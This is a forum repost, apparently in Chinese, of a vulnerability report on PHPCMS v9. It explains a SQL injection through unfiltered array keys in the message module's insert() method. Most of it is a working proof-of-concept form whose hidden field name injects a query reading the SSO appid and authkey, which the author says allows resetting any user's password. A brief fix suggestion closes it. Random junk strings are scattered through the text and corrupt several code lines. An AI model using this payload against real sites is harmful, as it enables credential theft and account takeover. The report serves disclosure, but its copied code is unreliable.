|
|
简要描述:
# e5 i+ T' \- f0 F, J8 j$ ]. p/ j1 S; s7 Z9 K2 {3 f
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。0 S, [6 g5 m5 ]$ h1 M
) |3 X. O0 }+ Y8 b2 P
明天再更新下一个漏洞。8 B4 w+ K9 S( G7 V/ t
详细说明:
; d' P" Z; V+ [# G9 X' l% D0 ~% _& D# C在/phpcms9/phpcms/modules/message/index.php中有代码如下:
4 _% d$ }0 P! Z
9 }6 S; d K! S0 \$messageid = $this->message_db->insert($_POST['info'],true);; m/ `/ R3 x8 t' D; |! Z
+ L3 J6 \. n, R: M
5 t9 I. T, @2 d5 o* ?% _3 {
insert方法是key value的,代码如下:; _7 C. k8 }/ n8 G/ O3 S
9 A# i2 a) g7 ?3 x5 Lpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
- r. H; q" p# W+ y if(!is_array( $data ) || $table == '' || count($data) == 0) {
# p6 @) o: @. A7 C' Y4 b return false;
9 H3 u5 s6 G2 q5 v) T2 s5 w1 J6 S }5 p. n: g: s7 o( a& P8 h
1 g$ g4 S' \/ F7 N5 K
$fielddata = array_keys($data);2 L& \% }: x1 m% E4 t
$valuedata = array_values($data);; H! N! I* O P& \* `- q* V
array_walk($fielddata, array($this, 'add_special_char'));
- a$ S' e' ^9 Y; R. d! V8 y9 E4 q array_walk($valuedata, array($this, 'escape_string'));3 W/ E* w6 \8 U; x$ D8 K
& o* r$ b; L/ h' M7 |6 q
$field = implode (',', $fielddata);
2 c* J, l" i( K $value = implode (',', $valuedata);
8 J' I( x. ]6 H3 s- e6 u; I
- m2 }6 Z$ C7 Z! a% M7 A% K8 j $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
0 t" P2 m9 N6 R" J $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';- J d1 ]2 U4 h1 |$ B. c0 d
$return = $this->execute($sql);
: R4 r: X- }/ y return $return_insert_id ? $this->insert_id() : $return;
+ d2 @& \: S$ C! X }3 s3 i( N# h. O: Y9 S, j4 c6 u1 F7 S
7 H& O. A: W9 c# `" i; ?6 q
- o; ~" D, x$ M, w$ Y嗯,很遗憾的是
- _0 S" V$ J& I$ u! H, x
' ~/ k4 }! g# Y6 m. r/ parray_walk($fielddata, array($this, 'add_special_char'));
5 _0 p4 y! O$ _: q" {, |% g6 Q: w" R, Q
5 H7 y' K! a4 |2 }" ^7 \ i' R中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
{! @' t v6 P8 V/ W
5 n- q+ L: r2 J到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。& p0 o ]. k7 Q, Z2 Z) O: j" X
6 W: c( C" {& a2 e/ g! j0 Q' K' d8 \漏洞证明:
# R. w* H, q |" G( J读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。4 @+ s5 v8 |5 I1 E* \. m
0 p0 G7 i4 x7 I# I2 W
; [0 |0 \; {# s# Y3 J9 \表单如下:用户名什么的得自己改一改。9 L6 P! K% u0 [# \$ n: t
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">, q% a, o! O4 C2 {9 }
<table width="100%" cellspacing="0" class="table_form">
6 x* a) m2 }( D3 |& A<tr>
' B. Q2 M" `/ H6 Z<th>标 题:</th># z; j1 ?# n7 ~( a
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>8 ^% |' c9 S: h3 V6 i+ M y
</tr> ! H- j& ]" n. t8 l9 p; [
<tr>
; |/ X: s3 r: o0 }3 J- M, h6 A<th>内 容:</th>- | B h% S4 B1 p1 D, p( x4 k
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
8 s. H# d0 K' x</tr>; l/ D" K! W; h/ o, n" t/ N- a
<input type="hidden" name="info[replyid]" value="2" /> , @. k- F2 i0 y# C
<input type="hidden" name="info[send_to_id]" value="cc" />
1 n' x3 I8 w4 D- ?; m4 l6 W' X<input type="hidden" name="info[send_from_id]" value="hh">
' C/ n6 T# N! m) [<!-- 漏洞的利用重点在这里开始 -->
( {0 T9 O: R9 q) o<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> # x% _& F+ V3 \/ Y& y
<!-- 漏洞的利用重点在这里结束 -->
* |& ]9 ^( D9 P- u- \ {<tr>2 a5 A' d! c! t
<th>验证码:</th>
7 l; H4 o' f9 `% k8 q<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
: }4 V7 M: Q/ I</tr>
: p' P/ t, }5 W5 A) t4 P- t<tr> J( }! L& j/ Q1 M3 {
<td></td>
9 E" S1 o& c) g% R<td colspan="2"><label>
6 ~9 d- x, ^3 |; P<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
% U# Q/ ^/ q5 I6 b. ~0 }, S8 y s</label></td>7 ~& h0 |1 X7 T) t) i+ V
</tr>
; n y6 m# @6 _/ B</table>
8 F# Z, V. X' O& ~</form>
$ B* S8 ^- V# h# B在add_special_char函数内对key做过滤就可以了。+ \- ^9 u+ y! B$ w1 ]
# n& t" S' `" N
4 v( b* {: u4 @0 A" r
1 q" @; b6 E1 D+ m. X: Y, W+ ?9 d |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|